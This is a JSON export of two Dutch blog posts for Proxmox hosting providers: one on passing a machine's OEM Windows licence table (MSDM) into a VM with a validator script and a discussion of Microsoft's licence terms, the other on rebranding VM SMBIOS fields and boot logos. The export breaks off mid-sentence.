[{"content":"De licentie zit al in de firmware Genoeg mensen bezitten een licentie voor de Fisher-Price OS (Windows) zonder ooit de productsleutel te hebben gezien. Hij kwam met de machine, en de sleutel woont in de firmware van die machine, in een kleine ACPI-tabel die MSDM heet.\nDan is de machine niet meer de plek waar het werk gebeurt. Of de eigenaar wil die licentie in een VM die hij nu van jou huurt, of de machine zelf wordt gewist, omgebouwd tot Proxmox-host, en het exemplaar van het OS waarmee hij werd geleverd moet terug als VM erbovenop.\nMechanisch is het één QEMU-optie. Dat is het probleem. QEMU geeft elke tabel aan een gast zonder hem te controleren, de gast activeert met welke sleutel hij ook vindt, en nergens in de stack vraagt iets of de licentie dat allemaal toestaat. Deze post behandelt wat de tabel is, hoe je hem in een VM krijgt zonder een corrupte door te geven, wat de voorwaarden van Microsoft zeggen over verhuizen, en waarom een volumelicentie er nooit in de buurt komt.\nWat de tabel is Sinds OEM Activation 3.0 drukt een pc-bouwer de sleutel niet meer op een sticker aan de onderkant van de kast, waar iedereen met een telefooncamera hem kan kopiëren, en gaat de sleutel in plaats daarvan in de firmware van de machine. De fabrieksgereedschappen van Microsoft “injects the product keys into the firmware”, en de validatiestap controleert “that the MSDM table exists” en dat de header en de velden “comply with the correct formats”1. Een machine die zo is ingericht, wordt “activated by using the OA3 DPK in the firmware”2. MSDM is een gewone ACPI-tabel, en op Linux lees je hem rechtstreeks uit de firmware:\nsudo cat /sys/firmware/acpi/tables/MSDM \u0026gt; msdm.bin De laptop waarop dit geschreven is, heeft er een. 85 bytes.\nDe gepubliceerde specificatie van Microsoft definieert de standaard ACPI-header van 36 bytes met de signatuur MSDM, en stopt dan. Alles na de header is een “Proprietary data structure that contains all the licensing data necessary to enable Windows activation”3.\nBytes Bevat Bekend uit 0 tot 35 de standaard ACPI-header: signatuur MSDM, lengte, checksum, OEM-ID de specificatie van Microsoft 36 tot 55 20 bytes aan velden: versie, gegevenstype, gegevenslengte echte tabellen, geen gepubliceerde specificatie 56 tot 84 de productsleutel van 29 tekens, vijf groepen van vijf echte tabellen, geen gepubliceerde specificatie QEMU geeft alles door wat je hem geeft -acpitable file= van QEMU neemt de “whole ACPI table from the specified files, including all ACPI headers (possible overridden by other options)”4, en de gast ziet dan een MSDM-tabel precies zoals de firmware van een laptop hem zou presenteren. Dat is gecontroleerd met een bewust nepsleutel. De bytes kwamen er aan de andere kant identiek uit, van signatuur tot laatste teken.\nQEMU weigert niets. Dit doet hw/acpi/core.c met een kapotte upload5:\nWat er mis is met het bestand Wat QEMU doet Wat de gast ziet Headerlengte klopt niet met het bestand waarschuwt, en overschrijft dan de lengte met de echte grootte een geldige header Checksum telt niet op tot nul rekent hem opnieuw uit, op elke tabel, elke keer een geldige checksum Sleutel afgekapt of verminkt niets, de gegevens na de header zijn zijn zaak niet een geldig ogende tabel rond een kapotte sleutel De gast kan het verschil niet zien, en jij ook niet totdat iemand een supportticket opent. Het eerste wat iemand ervan hoort, is een klant wiens activering mislukte.\nUploaden klanten deze dus, controleer ze dan voordat QEMU ze ooit ziet:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Refuse anything that is not a well-formed MSDM table before QEMU sees it.\u0026#34;\u0026#34;\u0026#34; import re, struct, sys t = open(sys.argv[1], \u0026#39;rb\u0026#39;).read() fail = lambda why: sys.exit(f\u0026#34;{sys.argv[1]}: {why}\u0026#34;) if len(t) \u0026lt; 56: fail(f\u0026#34;{len(t)} bytes, too short for an MSDM table\u0026#34;) sig, length = t[:4], struct.unpack_from(\u0026#39;\u0026lt;I\u0026#39;, t, 4)[0] if sig != b\u0026#39;MSDM\u0026#39;: fail(f\u0026#34;signature is {sig!r}, not MSDM\u0026#34;) if length != len(t): fail(f\u0026#34;header says {length} bytes, file is {len(t)}\u0026#34;) if sum(t) \u0026amp; 0xff: fail(\u0026#34;checksum does not sum to zero\u0026#34;) ver, _, dtype, _, dlen = struct.unpack_from(\u0026#39;\u0026lt;5I\u0026#39;, t, 36) if (ver, dtype) != (1, 1): fail(f\u0026#34;version {ver}, data type {dtype}: expected 1 and 1\u0026#34;) if dlen != 29 or 56 + dlen != length: fail(f\u0026#34;data length {dlen}: expected 29\u0026#34;) key = t[56:].decode(\u0026#39;ascii\u0026#39;, \u0026#39;replace\u0026#39;) if not re.fullmatch(r\u0026#39;([0-9A-Z]{5}-){4}[0-9A-Z]{5}\u0026#39;, key): fail(\u0026#34;data is not a 5x5 product key\u0026#34;) print(f\u0026#34;OK OEM {t[10:16].decode(errors=\u0026#39;replace\u0026#39;).strip()!r} key *****-*****-*****-*****-{key[-5:]}\u0026#34;) Controleert Houdt het bestand tegen Een fout betekent Signatuur, lengte, checksum de gedocumenteerde header van Microsoft het bestand is kapot Versie, gegevenstype, gegevenslengte, vorm van de sleutel de vorm die echte tabellen hebben bekijk deze met de hand, niet “dit is vervalst” Hij drukt nooit de sleutel af, alleen de laatste groep. Een productsleutel in een logbestand is een productsleutel die iemand anders kan gebruiken.\nGedraaid tegen een goede tabel en drie kapotte kopieën ervan:\nOK OEM \u0026#39;EXMPLE\u0026#39; key *****-*****-*****-*****-EEEEE bad-sum.bin: checksum does not sum to zero bad-trunc.bin: header says 85 bytes, file is 70 bad-sig.bin: signature is b\u0026#39;SLIC\u0026#39;, not MSDM Waar hij komt, en wie hem daar mag zetten Van de upload van een klant tot de sleutel waarmee de gast activeert Tabel van de klant msdm.bin, 85 bytes van hun eigen machine Validator signatuur, lengte, checksum, sleutelvorm Opgeslagen /etc/pve/priv/ alleen root, elke node VM args -acpitable file= alleen door root gezet QEMU herschrijft de lengte, herberekent de checksum, weigert niets Gast MSDM in ACPI, activering leest de sleutel De validator staat voor QEMU, omdat QEMU een kapotte header repareert in plaats van hem te weigeren. De tabel woont in de private helft van het clusterbestandssysteem, dus hij volgt de VM naar elke node en alleen root kan hem lezen. Een productsleutel is een geheim. Hij hoort nergens waar www-data hem kan lezen, en pmxcfs geeft je precies één plek in /etc/pve waar dat niet kan6:\nWaar de tabel zou kunnen staan Wie hem kan lezen Op elke node waar de VM naartoe kan migreren /etc/pve/priv alleen root ja ergens anders in /etc/pve leesbaar voor de groep, www-data van de webinterface inbegrepen ja een map op één node wat je ook instelt nee Met 85 bytes zit hij nergens in de buurt van de bestandslimiet van 1 MiB in pmxcfs7:\nmkdir -p /etc/pve/priv/msdm check-msdm.py upload.bin \u0026amp;\u0026amp; cp upload.bin /etc/pve/priv/msdm/9000.bin qm set 9000 --args \u0026#34;-acpitable file=/etc/pve/priv/msdm/9000.bin\u0026#34; qm set --args vervangt de hele regel. Heeft de VM al SMBIOS- of firmwareopties in args, schrijf ze dan allemaal samen uit. En omdat args alleen voor root is, is dit een klus voor je provisioning, niet iets wat een klant vanuit de webinterface kan doen. Zo hoort het ook. De klant levert het bestand, jouw tooling controleert het en koppelt het.\nDe tabel verhuist een sleutel, geen recht Hier vraagt de functie om een helder hoofd. De MSDM-tabel naar een VM verhuizen verhuist de sleutel. Niet de licentie.\nDe eigen voorwaarden van Microsoft zeggen dat, en de regels die ertoe doen passen in een tabel:\nGeval Wat Microsoft zegt Bron OEM-licentie, verhuizen overdraagbaar aan een andere gebruiker “only with the licensed device” OEM-licentievoorwaarden8 OEM-licentie, hoeveel installaties “only one instance of the software for use on one device, whether that device is physical or virtual” OEM-licentievoorwaarden8 OEM-licentie, in gewone woorden “locked” aan de oorspronkelijke pc “and cannot be transferred to any other PC” Microsoft small business blog9 De uitzondering de overdrachtsbepalingen “do not apply” waar de software in Duitsland of een lijst andere landen is gekocht OEM-licentievoorwaarden8 Het hosten voor klanten de Services Provider License Agreement is voor “hosted applications to end customers” SPLA10 Desktopedities als gehoste VM\u0026rsquo;s “VMs must be hosted by a Qualified Multitenant Hoster (QMTH)” Microsoft Learn11 De tabel komt altijd van de eigen gelicentieerde machine van de klant, nooit van jouw hosts. Het geval dat recht binnen de tekst valt, is het eenvoudigste: de machine waarmee de licentie werd verkocht, nu met Proxmox erop, met datzelfde exemplaar van de Fisher-Price OS (Windows) verhuisd naar één VM erop. Dat is nog steeds één instantie op één apparaat, en de OEM-voorwaarden staan dat toe “whether that device is physical or virtual”8. Een tweede VM, of een andere machine, en dat is het niet meer.\nIn dat ene geval zijn de machine van de klant en de hypervisor dezelfde doos, dus er valt niets te uploaden en niets te kopiëren. De Proxmox-kernel stelt de MSDM-tabel van de firmware al beschikbaar onder /sys/firmware/acpi/tables/, alleen leesbaar voor root, en QEMU draait op Proxmox als root, dus het kan de tabel daar rechtstreeks vandaan nemen:\nqm set 100 --args \u0026#34;-acpitable file=/sys/firmware/acpi/tables/MSDM\u0026#34; Naar de live tabel wijzen in plaats van naar een kopie heeft twee gevolgen. Het pad wordt gelezen op de node waar de VM ook maar start, dus dit hoort op een losse host en niet in een cluster: migreer de VM en hij krijgt ofwel de tabel van die node, een andere licentie op een andere machine, of start helemaal niet, omdat QEMU een ontbrekend bestand weigert met can't open file … No such file or directory. En het is één regel, en dus één regel om op een tweede VM te plakken. Die tweede VM is het geval dat de voorwaarden niet dekken, dus één VM krijgt hem en verder geen.\nBouw de functie dus. Het mechanisme deugt, en er zijn klanten die het mogen gebruiken; een die zijn licentie in Duitsland kocht, kan daar best bij zijn. Maar leg het recht waar het hoort: in je servicevoorwaarden staat de klant ervoor in dat hij een licentie heeft die het draaien in jouw VM dekt, en dat doet hij voordat de uploadknop iets doet. De validator bewijst dat de tabel goed gevormd is. Niets bewijst dat hij de zijne is om te gebruiken.\nVolumelicenties komen nooit in de buurt van de tabel Kan een klant met een volumelicentie dezelfde route gebruiken? Nee. Er is niets voor de tabel om te dragen.\nMSDM hoort bij het OEM-kanaal en bij niets anders. De eigen planningsgids van Microsoft zegt dat OEM-activering “is available only for computers that are purchased through OEM channels and have the Windows operating system preinstalled”12. Volumelicenties activeren via een van drie andere modellen, “Multiple Activation Keys (MAK)”, “KMS” en “Active Directory-based activation”12, en in elk daarvan wordt de sleutel in het besturingssysteem geïnstalleerd. Niets leest hem uit de firmware.\nMethode Waar de sleutel woont Waar de gast mee praat In een Proxmox-VM OEM, OA 3.0 de MSDM-tabel in de firmware de activeringsservers van Microsoft de -acpitable-route hierboven MAK geïnstalleerd in de gast Microsoft, één keer, afgeteld van de activeringen van de sleutel werkt met internettoegang of een telefoon KMS een generieke sleutel (GVLK) in de gast de KMS-host van de klant op TCP 1688 heeft een route ernaartoe nodig, en 25 clients of 5 servers voordat hij iets activeert Active Directory een GVLK in de gast de domeincontrollers van de klant, minstens elke 180 dagen de VM moet lid zijn van hun domein AVMA een generieke sleutel in de gast de eigen Datacenter-licentie van de Hyper-V-host helemaal niet beschikbaar Voor een volumeklant valt er op de hypervisor dus niets te bouwen. Hun sleutel gaat in hun image, en jouw deel is het netwerkpad: poort 1688 naar hun KMS-host, of een VPN naar hun domeincontrollers. Het MSDM-slot blijft leeg, en zo hoort het.\nTwee dingen zetten mensen op het verkeerde been. De generieke sleutel op volumemedia activeert op zichzelf niets, want “the GVLK doesn\u0026rsquo;t work unless a valid KMS host key can be found”12, dus een VM gebouwd van de Enterprise-ISO van de klant zonder route naar huis blijft ongeactiveerd staan. En een volumelicentie voor de desktop is geen licentie op zich. Volumeprogramma\u0026rsquo;s “cover upgrades to Windows client operating systems only”, en “an existing retail or OEM operating system license is needed for each computer”12. De volumelicentie ligt bovenop een basislicentie, heel vaak dezelfde OEM-licentie waar de vorige sectie over ging, en of die in jouw VM mag draaien is nog steeds de hostingvraag in die tabel, geen activeringsvraag.\nAVMA verdient een eigen regel, want het is degene die op het antwoord lijkt. Het is de manier van Microsoft waarop een host zijn eigen servergasten activeert, door “the VM activation to the licensed virtualization host” te binden, en het vereist “a Windows Server Datacenter edition with the Hyper-V server host role installed”13. Microsoft is duidelijk over de rest: “AVMA doesn\u0026rsquo;t work with other server virtualization technologies”13. Op Proxmox activeren servergasten via jouw SPLA-sleutels of via de eigen KMS van de klant.\nNiets in de stack controleert het papierwerk Elke laag hier doet haar werk en niets meer. De firmware bewaart een sleutel. QEMU kopieert de bytes en ruimt de header op. De gast leest de sleutel en activeert ermee. Geen van hen kan zien of de machine eronder degene is waarmee de licentie werd verkocht, en geen van hen was daar ooit voor bedoeld.\nDe controle komt dus terecht bij wie de hypervisor draait. Een licentie is een overeenkomst tussen degene die hem kocht en Microsoft, en jouw platform is daar geen partij in, maar het is wel het ding dat de sleutel verhuist, en dat maakt de vraag de jouwe of je erom vroeg of niet.\nSchrijf het antwoord op voordat de uploadknop iets doet. Eén machine, één VM, de eigen licentie van de klant en zijn woord dat die dit dekt. Het kost niks, en het beschermt jou net zoveel als hen. De software verhuist elke sleutel die hij krijgt. Of dat had gemoeten, is een vraag die alleen een mens kan beantwoorden, dus zorg dat er een dat doet.\nMicrosoft Learn, OA 3.0 on the factory floor — “injects the product keys into the firmware”; /Validate controleert “that the MSDM table exists”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Validate an OEM Activation key — “is activated by using the OA3 DPK in the firmware”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Microsoft Software Licensing Tables (SLIC and MSDM) — tabel 2, offset 36: “Proprietary data structure that contains all the licensing data necessary to enable Windows activation.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU, System Emulation, Invocation — -smbios-velden per type; -acpitable “For file=, take whole ACPI table from the specified files, including all ACPI headers”; -boot “Currently Seabios for X86 system support it.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nQEMU v11.0.3, hw/acpi/core.c — “ACPI table has wrong length” is een warn_report, waarna de lengte wordt overschreven en de checksum opnieuw berekend.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/pmxcfs.c — paden onder priv worden gemaskeerd tot 0777700, al het andere tot 0777750.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\npve-cluster, src/pmxcfs/memdb.h — #define MEMDB_MAX_FILE_SIZE (1024 * 1024) // 1 MiB.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Windows 11 OEM licence terms — “you may transfer the license to use the software directly to another user, only with the licensed device”; de overdrachtsbepalingen “do not apply if you acquired the software in Germany” of de genoemde landen. Gearchiveerde kopie; de live pagina weigert geautomatiseerde verzoeken.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, small business blog archive — “the OEM Windows license is \u0026rsquo;locked\u0026rsquo; to the original PC it comes with and cannot be transferred to any other PC.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft, Services Provider License Agreement — “for service providers and software development companies licensing eligible Microsoft products to provide software services and hosted applications to end customers.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Windows subscription activation for VDA — “VMs must be hosted by a Qualified Multitenant Hoster (QMTH).”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Plan for volume activation — de drie modellen voor volumeactivering; de KMS-drempels van “at least five computers” voor servers en “at least 25 computers” voor clients, op TCP-poort 1688; activering via Active Directory die het domein “at least once every 180 days” nodig heeft; “the GVLK doesn\u0026rsquo;t work unless a valid KMS host key can be found”; volumelicenties “cover upgrades to Windows client operating systems only”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Learn, Automatic Virtual Machine Activation in Windows Server — “AVMA requires a Windows Server Datacenter edition with the Hyper-V server host role installed”; “AVMA doesn\u0026rsquo;t work with other server virtualization technologies.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/proxmox/moving-an-oem-licence-into-a-proxmox-vm/","summary":"Een OEM-licentie voor de Fisher-Price OS (Windows) woont in de firmware van de pc als een ACPI-tabel die MSDM heet, en QEMU geeft zo\u0026rsquo;n tabel aan een gast door zonder hem te controleren. Dit behandelt wat de tabel bevat, een validator die misvormde tabellen weigert voordat QEMU stilletjes hun headers repareert, het opslaan ervan in de private helft van het clusterbestandssysteem van Proxmox, de voorwaarden van Microsoft voor het verhuizen van een OEM-licentie, het ene geval dat ze duidelijk toestaan, de tabel rechtstreeks van de host nemen als de gelicentieerde machine de hypervisor is, en waarom MAK, KMS, Active Directory en AVMA de tabel nooit aanraken.","title":"Een OEM-licentie naar een Proxmox-VM verhuizen, en wat er mee verhuist"},{"content":"Wat je klant ziet als je VM opstart Je verkoopt virtuele machines onder je eigen naam. Een klant zet er een aan, en het eerste wat op het scherm verschijnt is het logo van een ander.\nDat is een standaard Proxmox-VM. Er is niets kapot, en Proxmox doet niets verkeerd: het is hun product en hun naam, zij schreven de firmware en de interface waarin het verschijnt, en ze hebben het recht het daar te zetten, zoals een serverleverancier zijn badge op de voorkant van de kast zet. Het is alleen niet van jou.\nHet logo is pas het begin. Dit meldt een standaard UEFI-gast op de huidige firmware van Proxmox, pve-edk2-firmware 4.2026.08-1, gelezen vanuit de gast met dmidecode:\nWaar de gast kijkt Wat hij leest Wiens naam Opstartscherm het logo van Proxmox Proxmox Firmwareleverancier (SMBIOS type 0) Proxmox distribution of EDK II Proxmox Firmwareversie 4.2026.08-1 het pakketversienummer van Proxmox Systeemfabrikant (type 1) QEMU QEMU Productnaam (type 1) Standard PC (Q35 + ICH9, 2009) QEMU Fabrikant van de behuizing (type 3) QEMU QEMU Moederbord (type 2) helemaal niet aanwezig niemand Webinterface voor beheer het logo van Proxmox, linksboven Proxmox Het opstartlogo stopt ook niet bij de firmware. UEFI-firmware geeft het beeld dat ze tekende door aan het besturingssysteem via een ACPI-tabel die BGRT heet, de Boot Graphics Resource Table, die bestaat om te zeggen “an image was drawn on the screen during boot”1, en het besturingssysteem tekent het dan opnieuw op zijn eigen opstartscherm. De Fisher-Price OS (Windows) zet het boven zijn draaiende bolletjes, en Microsoft noemt BGRT “the standard interface that Windows uses to access the logo”2. Het standaard Plymouth-thema van Fedora doet op Linux hetzelfde3. Een gast op de firmware van Proxmox toont het logo van Proxmox dus twee keer voordat iemand heeft ingelogd.\nNiets hiervan is moeilijk te veranderen. Het veranderd houden wel. De volgende apt full-upgrade zet de helft stilletjes terug, en de helft die hij niet terugzet is de helft waar je je zorgen over zou moeten maken, en daar gaat het grootste deel van deze post over.\nWaar elk stuk branding de opstart binnenkomt Aanzetten QEMU bouwt SMBIOS en ACPI uit de config Firmware OVMF tekent zijn ingebouwde logo, SeaBIOS een splash Overdracht SMBIOS-tabellen, ACPI met BGRT en MSDM Opstartscherm OS tekent het firmwarelogo opnieuw uit BGRT Draaiende gast leest de strings, activering leest de MSDM-sleutel VM-config pakketbestand VM-config pakketbestand VM-config staat in /etc/pve, overleeft elke upgrade staat onder /usr/share, apt vervangt het Je merk komt op vijf plekken de opstart binnen. Drie komen uit de eigen config van de VM en overleven alles wat apt doet. Twee komen uit bestanden van een Proxmox-pakket, en die neemt een upgrade terug. De MSDM-tabel in die overdracht is helemaal geen branding. Hij draagt een licentiesleutel, en die naar een VM verhuizen heeft een eigen post: Een OEM-licentie naar een Proxmox-VM verhuizen.\nAlles onder /usr/share is van apt Eén regel beslist elke keuze hieronder. Een bestand dat een pakket installeerde, is het bestand van het pakket. Bewerk het ter plekke en de volgende upgrade van dat pakket overschrijft je wijziging zonder een woord, want voor dpkg zet het alleen zijn eigen bestand terug waar het het had neergelegd.\nElk stuk branding moet dus ergens staan dat apt niet bezit. Een Proxmox-node heeft drie zulke plekken, en elk kost iets anders:\nWaar het staat Hoe het daar komt Overleeft een upgrade Wat het je kost De VM-config in /etc/pve smbios1, en args voor al het andere Ja, config wordt nooit door een pakket aangeraakt args is alleen voor root, en staat niet in de GUI Een bestand waarvan dpkg is verteld het met rust te laten dpkg-divert Ja, de kopie van het pakket gaat in plaats daarvan naar een .distrib-naam Upgrades bereiken het bestand niet meer, en dat telt als het bestand firmware is Je eigen map, buiten de pakketboom /usr/local, aangeroepen vanuit args Ja, geen pakket bezit het Je moet het zelf op elke node zetten De eigen beschrijving van Debian van een diversion is de duidelijkste: “a way of forcing dpkg not to install a file into its location, but to a diverted location”4. Dat dekt de webinterface. Voor de firmware is het een van twee opties, en de gevaarlijkste.\nDe behuizing is een handvol strings en een rechtencontrole SMBIOS is de tabel waarmee een machine zichzelf beschrijft: wie haar maakte, welk model het is, het serienummer, wat het moederbord en de kast zijn5. dmidecode leest hem, elk inventarisgereedschap dat je ooit op een netwerk hebt gericht leest hem, het systeeminformatiepaneel van de Fisher-Price OS (Windows) leest hem, en dat doen ook de meeste licentiecontroles die beslissen of een stuk software op een bepaalde machine überhaupt draait. Op een VM schrijft QEMU hem. Vandaar QEMU en Standard PC in de tabel hierboven.\nType 1 via smbios1 Proxmox stelt één SMBIOS-structuur beschikbaar in de VM-config: type 1, System Information, als smbios16. Die neemt manufacturer, product, version, serial, sku, family en uuid.\nHet addertje zit in qemu-server, niet in de documentatie. Elk veld behalve uuid moet voldoen aan een base64-patroon, [A-Za-z0-9+\\/]+={0,2}, dus een gewone waarde met een spatie erin wordt meteen geweigerd. Echte strings worden base64-gecodeerd met base64=1 gezet, en qemu-server decodeert ze weer voordat hij de QEMU-opdrachtregel bouwt7. De SMBIOS-editor in de GUI doet dit bij elke opslag, met het commentaar “smbios values can be arbitrary, so encode and mark config as such”8. Op de opdrachtregel is het jouw werk:\nb() { printf %s \u0026#34;$1\u0026#34; | base64 -w0; } qm set 9000 --smbios1 \u0026#34;uuid=$(qm config 9000 | sed -n \u0026#39;s/.*uuid=\\([0-9a-f-]*\\).*/\\1/p\u0026#39;),base64=1,\\ manufacturer=$(b \u0026#39;Example Cloud Ltd\u0026#39;),product=$(b \u0026#39;EC Compute Instance\u0026#39;),\\ version=$(b \u0026#39;2026.10\u0026#39;),family=$(b \u0026#39;General Purpose\u0026#39;),sku=$(b \u0026#39;ec-gp-4c16g\u0026#39;)\u0026#34; Let op de uuid die er weer in gaat. Het is de identiteit van de gastmachine, en wat je aan --smbios1 meegeeft wordt als de hele optie opgeslagen, dus lees hem eerst en houd hem.\nGeef de template je merk, niet elke VM. Een Proxmox-kloon krijgt een vers gegenereerde UUID en houdt elk ander smbios1-veld, dus elke kloon komt eruit met een eigen identiteit en jouw strings9, met één uitzondering, hieronder.\nTypes 0, 2, 3 en 11 via args smbios1 stopt bij type 1. De firmwareleverancier, het moederbord, de behuizing en de OEM-strings gaan allemaal via args, de regel die Proxmox rechtstreeks aan QEMU doorgeeft en die de eigen documentatie “for experts only” noemt6. De -smbios-optie van QEMU neemt de velden per type10:\nargs: -smbios \u0026#39;type=0,vendor=Example Cloud Ltd,version=EC-FW 1.0,date=10/04/2026,uefi=on\u0026#39; -smbios \u0026#39;type=2,manufacturer=Example Cloud Ltd,product=EC Virtual Board,version=1.0\u0026#39; -smbios \u0026#39;type=3,manufacturer=Example Cloud Ltd,version=1.0,asset=EC-ASSET-123,sku=ec-gp\u0026#39; -smbios \u0026#39;type=11,value=example-cloud:instance=123\u0026#39; Opgestart op QEMU met die regels leest dmidecode in de gast:\nStructuur Veld Standaard Met je merk Type 0 Vendor Proxmox distribution of EDK II Example Cloud Ltd Type 0 Version 4.2026.08-1 EC-FW 1.0 Type 1 Manufacturer QEMU Example Cloud Ltd Type 1 Product Name Standard PC (Q35 + ICH9, 2009) EC Compute Instance Type 1 Family niet opgegeven General Purpose Type 2 Manufacturer structuur ontbreekt Example Cloud Ltd Type 2 Product Name structuur ontbreekt EC Virtual Board Type 3 Manufacturer QEMU Example Cloud Ltd Type 3 Asset Tag niet opgegeven EC-ASSET-123 Type 11 String 1 structuur ontbreekt example-cloud:instance=123 Onderweg kwamen vier valkuilen boven. Alle vier zijn stil.\nType 0 meegeven laat “UEFI is supported” vallen. OVMF schrijft zijn eigen type 0 alleen als QEMU er geen heeft meegegeven; de lus die de tabellen van QEMU afloopt zet NeedSmbiosType0 = FALSE zodra hij een type 0 tegenkomt11. Jouw vendorstring vervangt die van Proxmox, en daar gaat het om. Maar de type 0 van QEMU vervangt ook de firmwarekenmerken van OVMF, en zonder uefi=on verdwijnt de regel “UEFI is supported” uit dmidecode. Zet hem terug met uefi=on. Voor UEFI-gasten is er hoe dan ook een betere plek voor de vendorstring, in de firmware zelf, verderop.\nHet type behuizing is niet in te stellen. De type 3 van QEMU neemt manufacturer, version, serial, asset en sku, en verder niets10. Het blijft Other.\nTwee definities van één type worden samengevoegd, en de laatste wint. qemu-server zet zijn -smbios type=1 vroeg op de opdrachtregel en jouw args helemaal aan het eind12, dus een tweede -smbios type=1,manufacturer=… in args gooit de eerste niet weg: QEMU voegde ze veld voor veld samen, de fabrikant kwam uit args, en de UUID bleef waar smbios1 hem zette. Dat telt voor de vierde valkuil.\nDe twee helften hebben verschillende eigenaars. qemu-server controleert rechten optie voor optie. smbios1 hoort bij de hardwareopties en vraagt VM.Config.HWType, terwijl args doorvalt naar de vangnetregel onderaan, die zegt “only root can set”13. Het moederbord, de behuizing, de firmwareleverancier en de OEM-strings zijn alleen van jou. Type 1 niet. Iedereen aan wie je hardwarerechten hebt gegeven kan hem herschrijven, en bij een gehost product kan dat best de klant zijn. Telt de fabrikantstring, zet hem dan ook in args. De laatste definitie wint.\nHet serienummer staat al in de config Het meeste wat in type 1 thuishoort, staat al in de VM-config. De naam is een goed serienummer, want qemu-server accepteert daar alleen een DNS-naam14: kort, afdrukbaar, nooit een komma erin, en het ene aan de VM dat een klant herkent.\nVeld in type 1 Komt uit Voor een VM met 4 cores en 16 GiB, web-01 genoemd, getagd production;web Serial Number name web-01 SKU Number cores × sockets, en memory ec-4c16g Family de eerste waarde in tags production UUID de smbios1-UUID die hij al heeft ongewijzigd Manufacturer, Product je eigen vaste strings Example Cloud Ltd, EC Compute Instance Twee dingen blijven erbuiten. De node verandert bij elke migratie, en vmgenid is bedoeld om te veranderen: zijn hele taak is de gast te vertellen dat hij uit een snapshot is teruggezet of uit een template is gebouwd15. Geen van beide is een identiteit.\n#!/bin/bash # /usr/local/sbin/ec-smbios VMID: rebuild smbios1 from the VM\u0026#39;s own config. set -euo pipefail id=$1 cfg=$(qm config \u0026#34;$id\u0026#34; --current) get() { sed -n \u0026#34;s/^$1: //p\u0026#34; \u0026lt;\u0026lt;\u0026lt;\u0026#34;$cfg\u0026#34;; } b() { printf %s \u0026#34;$1\u0026#34; | base64 -w0; } name=$(get name) [ -n \u0026#34;$name\u0026#34; ] || { echo \u0026#34;VM $id has no name to use as a serial\u0026#34; \u0026gt;\u0026amp;2; exit 1; } cores=$(get cores); sockets=$(get sockets); vcpu=$(( ${cores:-1} * ${sockets:-1} )) mem=$(get memory); mem=${mem#current=}; mem=${mem%%,*}; mem=${mem:-512} (( mem % 1024 )) \u0026amp;\u0026amp; size=\u0026#34;${mem}m\u0026#34; || size=\u0026#34;$(( mem / 1024 ))g\u0026#34; tag=$(get tags); tag=${tag%%;*} uuid=$(get smbios1 | grep -o \u0026#39;uuid=[0-9a-fA-F-]*\u0026#39; | cut -d= -f2 || true) uuid=${uuid:-$(cat /proc/sys/kernel/random/uuid)} s=\u0026#34;uuid=$uuid,base64=1,manufacturer=$(b \u0026#39;Example Cloud Ltd\u0026#39;),product=$(b \u0026#39;EC Compute Instance\u0026#39;)\u0026#34; s+=\u0026#34;,serial=$(b \u0026#34;$name\u0026#34;),sku=$(b \u0026#34;ec-${vcpu}c${size}\u0026#34;)\u0026#34; [ -n \u0026#34;$tag\u0026#34; ] \u0026amp;\u0026amp; s+=\u0026#34;,family=$(b \u0026#34;$tag\u0026#34;)\u0026#34; qm set \u0026#34;$id\u0026#34; --smbios1 \u0026#34;$s\u0026#34; De standaardwaarden zijn die van qemu-server zelf, één core, één socket en 512 MiB16, dus een config die ze weglaat krijgt toch een kloppende SKU. Gedraaid tegen de config in de tabel, met qm vervangen door een script dat hem serveerde, ging de regel die het schreef naar QEMU, gedecodeerd zoals qemu-server decodeert, en dmidecode in de gast las web-01, ec-4c16g, production en de UUID die hij al had terug. Een VM zonder naam wordt geweigerd in plaats van een leeg serienummer te krijgen.\nDe voor de hand liggende plek hiervoor is een hookscript. Het is de verkeerde. qemu-server draait de pre-start-hook binnen de configlock die hij nam om de VM te starten, en bouwt de QEMU-opdrachtregel uit de config die hij laadde voordat de hook draaide17. Een hook die het serienummer herschrijft, verandert de volgende start, niet deze.\nDraai het dus vanuit je provisioning, op de vier momenten dat de invoer verandert: aanmaken, klonen, hernoemen en vergroten. Klonen is degene die bijt. Een kloon houdt elk smbios1-veld behalve de UUID9, dus sla je het over, dan meldt elke VM die uit web-template is gebouwd de naam van de template als serienummer.\nHet opstartlogo woont op twee verschillende plekken Welk logo een gast toont hangt af van zijn firmware. De twee firmwares die Proxmox meelevert halen het van totaal verschillende plekken:\nSeaBIOS (bios: seabios, de standaard) OVMF (bios: ovmf, UEFI) Waar het logo vandaan komt een JPEG die QEMU bij het opstarten overhandigt een bitmap die in de firmware is gecompileerd Het bestand van Proxmox /usr/share/qemu-server/bootsplash.jpg, 640×480 Logo.bmp, 400×120, 8 bit, ingebouwd in OVMF_CODE_4M*.fd Eigenaar-pakket qemu-server pve-edk2-firmware-ovmf Per VM aanpassen args: -boot splash=… args die de VM naar andere firmware wijst Aanpassen zonder iets te herbouwen ja nee Bereikt het gast-OS via BGRT nee ja SeaBIOS: een JPEG op de opdrachtregel qemu-server zet dezelfde -boot-optie op elke VM die hij start, menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg18. De documentatie van 